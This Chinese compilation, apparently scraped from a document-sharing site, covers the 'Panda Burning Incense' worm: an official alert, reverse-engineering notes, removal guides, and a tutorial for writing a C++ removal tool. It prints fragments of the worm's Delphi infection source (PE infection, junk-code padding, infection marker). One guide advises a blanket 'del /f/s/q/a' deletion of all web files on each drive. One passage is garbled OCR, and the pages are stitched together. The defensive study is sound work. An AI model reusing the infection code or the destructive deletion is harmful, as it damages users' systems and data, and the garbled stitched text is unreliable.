熊猫烧香病毒之专杀工具编写教程方案
熊猫烧香
国家计算机病毒应急处理中心通过对互联网的监测发现，一伪装成“熊猫烧香”图案的蠕虫正在互联网上进行传播，已有数百万个人计算机用户和企业局域网遭受感染。
国家计算机病毒应急处理中心分析发现，该蠕虫为“威金”蠕虫的一个新变种。
该变种感染计算机系统后，可使系统中所有.exe文件都变成了一种奇怪的图案，该图案显示为“熊猫烧香”国家计算机病毒应急处理中心通过对互联网的监测发现，一伪装成“熊猫烧香”图案的蠕虫正在互联网上进行传播，已有数百万个人计算机用户和企业局域网遭受感染。
国家计算机病毒应急处理中心分析发现，该蠕虫为“威金”蠕虫的一个新变种。
该变种感染计算机系统后，可使系统中所有.exe文件都变成了一种奇怪的图案，该图案显示为“熊猫烧香”，同时受感染的计算机系统会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。
变种可以通过局域网进行传播，进而感染局域网内所有计算机系统，最终导致整个局域网瘫痪，无法正常使用。
该蠕虫先后出现很多变种，再出现后的短时期内迅速传播，遭受感染的用户难于彻底清除，给其工作带来诸多不便。
蠕虫情况分析如下：病毒名称：Worm_Viking中文名：“熊猫烧香”其他名称：Worm/Viking（江民）Worm.WhBoy.h （金山）PE_FUJACKS （趋势）Worm.Nimaya （瑞星）W32/Fujacks （McAfee）病毒类型：蠕虫感染系统：Windows 9X/ Windows ME/ Windows NT/ Windows 2000/Windows XP/ Windows 2003病毒特性：“熊猫烧香”是蠕虫“威金”的一个变种，是一个由Delphi 工具编写的蠕虫，它会感染计算机系统中后缀名为exe、com、pif、src、html、asp等文件,它还会终止一些计算机系统中安装的防病毒软件和防火墙的进程。
1、生成病毒文件蠕虫运行后在%System%目录下生成文件spoclsv.exe，并且在每个文件夹下面生成desktop_.ini 文件，里面标记着病毒发作日期。
病毒木马查杀第007篇：熊猫烧香之逆向分析(下)
一、前言这次我们会接着上一篇的内容继续对病毒进行分析。
分析中会遇到一些不一样的情况，毕竟之前的代码我们只要按照流程顺序一步一步往下走，就能够弄清楚病毒的行为，但是在接下来的代码中，如果依旧如此，在某些分支中的重要代码就执行不到了，所以我们需要采取一些策略，走完每个分支，彻底分析出病毒的行为。
二、病毒分析现在程序执行到了loc_408171位置处：图1 loc_408171起始处的代码程序首先进行比较操作，由于二者都为0，所以在比较过后ZF=1，那么接下来的跳转并不执行。
之后的CALL获取到了病毒程序所在的路径（包含文件名），并将完整路径名的首地址保存在eax中，注意[ebp+var_3D8]中所保存的是一个地址数值，该地址指向文件路径字符串。
而接下来赋给edx的地址，则是病毒程序完整地址向后4个字节的位置，正好跳过了两个大写字母和两个符号。
接下来进入sub_40532C进行查看，可以发现：图2 查看sub_40532C内部代码这里的CharUpperBuff函数的作用是把缓冲区中指定数目的字符转为大写。
于是可以将sub_40532C重命名为：ToUpper。
接下来有：图3 分析sub_4054BC函数这里出现了sub_4054BC函数，跟进查看可以发现：图4 查看sub_4054BC内部代码这里的GetSystemDirectory函数的作用在于获取系统路径，于是可以将sub_4054BC重命名为：GetSystemDir。
可见以上这几个函数分析得还是比较顺利的，因为病毒直接调用了API函数，让我们对于程序的功能一目了然。
接下来有：图5 分析sub_403F8C函数程序首先将刚才获取的系统路径字符串的首地址入栈，然后分别压入“drivers\”与“spoclsv.exe”这两个字符串，之后利用OD对sub_403F8C进行分析，执行完后可以发现：图6 跟踪sub_403F8C执行完后的变化由此可见，sub_403F8C的作用是将两个字符串与另一个字符串连接起来，从而组成一个长路径，所以可以将其重命名为：TwoStringsCat。
熊猫烧香防杀攻略
具， 做成专杀集台． 下载地址是
如果 碰 到 了 “ 猫烧 香 。 熊
大家可以从中选用． 毕竟使用专 杀工具是快速 的应急 方法 （ 图 ２。 ） 专杀工具不光能杀毒， 还能 修复被病毒感染 的文件。 但有 些 熊猫烧香” 病毒会从网上下 载很多其他的木马病毒、 恶意 程序． 专杀 工具对 这 些病 毒是 无 能为力的。 所以清除完 熊描烧 香 之后． 还要升级你的杀毒软件． 进行全盘扫描系毒。
轵 就 能 胤 ｝ 们被 采 岜
在此我们要用到ｅ ｅ ｃｐ 轼Ｍ ， 】 ｘ ｓ ０ ｃ 目它
引 要 修 改 的程 序 ， 一 查找 程 序 标题 在 左 最 近 一 段 时 间 ． 猫 烧 香 熊 边 的辑 形 目 申选 择 “ 源 ． 般 程 序 桥 录 资 一 题都 在 字符 串 或者 埘 话 框” 艟Ｊ Ｆ 字苻串， 台看到很多数字， 十个古找， 般 很快 就 能找 到标 项 比如 （６ 安全 （０ ３ 的标 题项 就 在 第 １ 字符 串中 ｆ ３ 个 ）
痫毒泛监成灾， 据不完全统Ｈ 国 内感 染熊 猫 烧 香病 毒的 企 业
已超 过 千家 ． 个人 用户 更星 不计 其数 。 目前熊描烧香病毒 Ｌ处 Ｅ 于 一 个急 速 变种 期 ， 【月份至 舨 １ 今． 种数 量 已达 ４ ０ 种 ， 变 ０糸 而 且新 版 本 变 种病 毒 防 查 杀 的手
。 熊猫烧香 大规模发作以来， 很多安生厂商或组织都发布了自 己的专杀
：其 ． 由ｆ变 种很 多 怛 专杀 工具也 难 咀保证完 全 清除 ； 们收 集 一 专系 工 我 些
管理器、 系统实用配制程序和注册表编辑 器都 可 以修
改． 不过 要 注 意．ＸＳｏｅ ｃ ｃ ｃｐ 并不 适合 修改
实例讲解如何干掉“熊猫烧香”
你中过熊猫烧⾹么?!看到过熊猫拿着三⽀⾹的样⼦么!?中招后如何处理!?看完本⽂，你将学会如何从计算机中杀掉“熊猫烧⾹”。
惊险查杀过程 1.熊猫烧⾹病毒：图⽚就是个熊猫在烧⾹感觉蛮可爱的!当时并没有很在意!第⼆天再次打开电脑的时候!⼏乎电脑所有的EXE⽂件都成了熊猫烧⾹图⽚!这时才有所感觉! 部分EXE⽂件已经⽆法正常使⽤!新加⼀个AUTORUN.INF的⽂件! 当初不明⽩这个⽂件的作⽤!在上查了⼀些资料表明。
才知道。
只要⽤户打开盘符。
就会运⾏这个病毒!⽤杀毒软件杀毒!没有效果!看来现在的杀毒软件越来越不⾏了~.. 2.想⽤组合键打开任务管理器!⽆法打开~失败....想看看注册表有没什么情况。
依然失败!奇怪的是：电脑运⾏正常。
也都不卡!难道不是病毒.是系统出了问题?从上下了第三⽅⼯具查看进程!果然看到两个可疑进程!FuckJacks.exe貌似是最可疑的不敢贸然终⽌!赶快问问⽩度⼤叔! 3.⼤叔告诉我。
是熊猫病毒的进程!⼀切正如我意!懒的装系统了! 4.先结束FuckJacks.exe进程!开始-运⾏-CMD 输⼊：ntsd -c q -p 病毒的PID~终于KILL掉了!⼀切恢复正常了!兴奋ING...赶快打开注册表 突然注册表⼜关了.看看进程FuckJacks.exe。
⼜出现了~~那应该它还有个守护进程!找找找。
⽆发现....奇怪了。
难道他的守护进程插⼊到系统 进程了?不会吧.....头疼⼀阵...。
5.算了，去向朋友找个专杀⼯具。
有⼀个朋友说他写过熊猫的专杀⼯具!晕~~原来⽜⼈在我⾝边。
我都没发现~赶快想他请教~~才⼤概的了解了熊猫烧⾹~ 叫他给了我⼀个⽆壳的熊猫⾃⼰分析下~(⾃⼰动⼿.丰⾐⾜⾷嘛~~) 6.⽤UI32打开熊猫.看到了条⽤的部分资源!⽂件执⾏后。
释放到\system32\FuckJacks.exe下。
7.继续象下可以看到熊猫的⼀些传播过程相当的经典..有扫描同⼀段的电脑~⾃我复制.等等相当强⼤公能~同时感染所有盘符的EXE⽂件~却不对⼀些重要的系统⽂件和常⽤⽂件进⾏感染!可见并不想早成太⼤破坏~修改注册表.禁⽌打开注册表.甚⾄禁⽤了部分服务~~ 8下⾯就是重要的时刻了!从后⾯的代码可以看出!病毒的作者是个⾮常出⾊的程序员!有⾮常好的编程习惯!对病毒的异常运⾏~进⾏了很好的定义~都很⼤段都是作者对病毒运⾏条件的判断定义~值得注意的⼀点：在感染EXE⽂件的同时!感染ASP。
熊猫烧香（源代码）
熊猫烧香（源代码）(一) 主程序段分析原“熊猫烧香”病毒“源码”主程序段代码如下所示：{==================主程序开始====================}beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之？end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件else //已寄生于宿主程序上了，开始工作beginTmpFile := ParamStr(0); //创建临时文件……....Line nDelete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7InfectFiles; //感染和发邮件end;end.对于代码：RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程虽然源码提供者省略了相应实现，但这是比较基本的编程实现。
通过把自身注册为服务进程，可以使自己随着系统的启动一起启动。
熊猫烧香病毒源代码!!
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
熊猫烧香电脑病毒清除方法介绍
熊猫烧香电脑病毒清除方法介绍：1.下载专杀工具，扫描一遍，注意，必须这两个都扫一遍，因为网上的专杀太多，原理不尽相同，这两个配合使用基本可以保证病毒全部清除，被病毒感染的EXE文件也会被复原2.开始→搜索→文件或文件夹→搜索硬盘上的*.htm ,*.html,*.php,*.asp,*.jsp,*.aspx后缀的文件,全部删除掉。
如果清不掉的就用命令行清除，开始→运行→CMD→输入del x:*.htm /f/s/q/a这里的X指的是你的盘符，你有几个盘就清除几次，fsqa指的是无条件删除盘符下所有属性的该后缀文件，包括了隐含文件，和系统文件。
删除完htm文件后，依次再删除html,php,asp,aspx。
注意：如果你的资料包含这些后缀的文件，那你就不能简单的做批删除操作了，最好的办法是你去下载一个dreamwaver，然后把每个文件源码的末尾部分被修改的部分改回，这里不多说，去摆渡一下就知道!这了采用的批删除操作是针对一般用户而言，而且这样做并不会导致你收藏的网页丢失3.右键打开你的D盘，找到System Volume Information，如果找不到，说明你的隐含文件是不显示的，那找到注册表的这个位置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"= 改为00000001即可。
进去，手动删除除change.log外的所有文件。
然后依次对其他盘进行操作。
因为这个位置的病毒会在重启后再生，而很多专杀又无法机械的清除该位置的病毒，所以这个步骤非常重要。
4.如果你还没有做新系统，那么现在需要修改注册表的启动项HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run 把右边的键全部删除。
熊猫烧香病毒清除方法有哪些
熊猫烧香病毒清除方法有哪些电脑病毒看不见，却无处不在，有时防护措施不够或者不当操作都会导致病毒入侵。
熊满烧香是之前很经典也是很可怕的一种病毒，那么具体有什么预防和处理办法呢?方法步骤1. 断开网络(必要)2. 结束病毒进程%System%\drivers\spoclsv.exe3. 删除病毒文件：c:\windows\system32\drivers\spoclsv.exe注意：打开C盘要右键-开打，否则仁兄就要功亏一篑，就要重复2的步骤!4. 修改注册表设置，恢复“显示所有文件和文件夹”选项功能：[Copy to clipboard]CODE:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\C urrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"=dword:00000001本步骤针对病毒将显示隐藏文件禁用的情况5. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\setup.exeX:\autorun.inf6. 删除病毒创建的启动项：[Copy to clipboard]CODE:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]"svcshare"="%System%\drivers\spoclsv.exe"7. 使用专杀工具进行全盘扫描，清除恢复被感染的exe文件推荐使用软件：NimayaKiller相关阅读：2018网络安全事件：一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月，英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞，包括AMD、ARM、英特尔系统和处理器在内，几乎近20年发售的所有设备都受到影响，受影响的设备包括手机、电脑、服务器以及云计算产品。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
熊猫烧香病毒之专杀工具的编写教程
通过对熊猫烧香的行为分析，这里仅针对所得结果，来进行专杀工具的编写。
本节课我们会学习使用C++来写一个简单的“熊猫烧香”专杀系统。
实验目的：
结合本篇文章的知识点，能够彻底掌握文章所讲述的编写杀毒软件的方法。
实验思路：
1.理解专杀工具所需要实现的功能
2.利用VC++编写专杀工具
3.结合Process Monitor验证专杀工具
实验步骤：
1、病毒行为回顾与归纳
这里我们首先回顾一下病毒的行为：
**病毒行为1：**病毒本身创建了名为`spoclsv.exe`的进程，该进程文件的路径为：
C:WINDOWSsystem32driversspoclsv.exe
**病毒行为2：**在命令行模式下使用`net share`命令来取消系统中的共享。
**病毒行为3：**删除安全类软件在注册表中的启动项。
**病毒行为4：**
在注册表:HKCUSoftwareMicrosoftWindowsCurrentVersionRun中创建svcshare
用于在开机时启动位于`C:WINDOWSsystem32driversspoclsv.exe`的病毒程序。
**病毒行为5：**修改注册表，使得隐藏文件无法通过普通的设置进行显示，该位置为：HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL 病毒将`CheckedValue`的键值设置为了0。
**病毒行为6：**将自身拷贝到根目录，并命名为`setup.exe`，同时创建`autorun.inf`用于病毒的启动，这两个文件的属性都是“隐藏”。
**病毒行为7：**在一些目录中创建名为`Desktop_.ini`的隐藏文件。
**病毒行为8：**向外发包，连接局域网中其他机器。
纵观以上八点行为，这里需要说明的是，其中的第二点行为，由于我不知道用户计算机在中毒前的设置，因此这条我打算忽略。
第三点行为，我不知道用户的计算机安装了哪些杀毒软件，而病毒又会将所有杀软的注册表启动项删除，所以这一条我打算忽略，用户在使用本专杀工具后，可以自行重新安装杀软，或者有经验的用户也可以自行在注册表中添加回杀软名称。
另外，病毒的第八点行为，我也打算忽略，因为只要删除了病毒本体，那么自然就解决了这个问题，所以我的专杀工具主要应付剩下的五个问题。
在这里各位读者想必也能够发现，我的专杀工具所要做的工作，与我之前写的手动查杀的过程其实是极为相似的，这也是为什么我当时就强调，我们依旧要掌握手动查杀病毒这个技能的原因。
2、专杀工具界面的制作
如果使用批处理来杀毒，因为它运行时没有界面，因此我们往往不知道杀毒程序究竟干了些什么，也不知道究竟有没有查杀成功，这也凸显了使用高级语言开发专杀工具的优势。
这里我使用MFC进行“熊猫烧香”病毒专杀工具的开发，绘制界面如下图所示：
其中的“Edit Box”控件的属性调整如下：
界面非常简单，接下来就是代码的编写。
3、计算病毒程序的散列值
在查杀病毒的技术中有一种方法类似于特征码查杀法，这种方法并不从病毒内提取特征码，而是计算病毒的散列值。
利用这个散列值，就可以在查杀的过程中计算每个文件的散列，然后进行比较。
这种方法简单易于实现，一般在病毒刚被发现时，在逆向分析前使用。
常见的计算散列的算法有MD5、Sha-1以及CRC32等。
这里使用CRC32算法计算散列值，代码如下：
该函数的参数有两个，一个是指向缓冲区的指针，第二个是缓冲区的长度。
它将文件全部读入缓冲区中，然后用CRC32函数计算文件的CRC32散列值，可以得到我所研究的“熊猫烧香”病毒的散列值为0x89240FCD。
这里请大家注意，不同版本的病毒的散列值是不同的，我所得出的这个值仅针对我所讨论的这个版本的病毒。
4、查找进程与提升权限
我们需要在内存中查找病毒是否存在，代码如下：
这里还需要提升系统的权限，提升成功后，当前进程就可以访问一些受限的系统资源。
代码如下：
5、查找并删除Desktop_.ini文件
病毒会在所有盘符下面的非系统目录中创建名为Desktop_.ini的文件，虽说这个文件看似并不会对系统产生什么危害，但是为了实现对“熊猫烧香”的彻底查杀，还是应当将其删除的。
这里主要涉及两方面的知识，一个是遍历整个磁盘的文件，这需要使用FindFirstFile()与FindNextFile()这两个API函数，并采用递归调用的方法;另一个是修改文件属性，因为病毒创建出来的文件会带有系统、只读和隐藏这三个属性，若不对其进行
更改，是无法删除病毒文件的。
依照这个思想，编写代码如下：
需要说明的是，这里需要在本程序前定义一个CString类型的csTxt全局变量，用于将查杀的结果信息输出到程序界面，之后的程序中也会用到这个变量。
6、主程序的编写
主程序也就是“一键查杀”按钮的响应，我在代码中已添加相应的注释：
至此，所有代码编写完毕，将其编译，并没有错误，直接生成可执行文件。
7、专杀工具测试
为了测试本专杀工具，我将它和“熊猫烧香”都拷贝到虚拟机中。
首先运行病毒程序，之后再运行本专杀工具，如下图所示：
：
可见，本程序已经将病毒彻底杀除，结合Process Monitor对本程序的监控，可以知道我们的专杀工具是切实可行的，这里不再赘述。
8、小结
因为我们这次所面对的是一个实际的病毒，因此代码显得较长，这和我之前所举的例子中，仅仅几行代码就能够删除一个“虚拟”病毒是截然不同的。
在以后面对不同病毒木马的专杀工具的编写中，我还会以这个专杀工具的代码为框架进行制作。
而在以后的文章中，我只会对新增的知识点进行叙述，而与这篇文章重合的知识点，我就会一笔带过。
也希望各位读者能够彻底掌握本篇文章所讲述的方法。
完毕
声明：本文内容来源为“i春秋学院”，未经许可，任何机构不得转载或引用本文内容。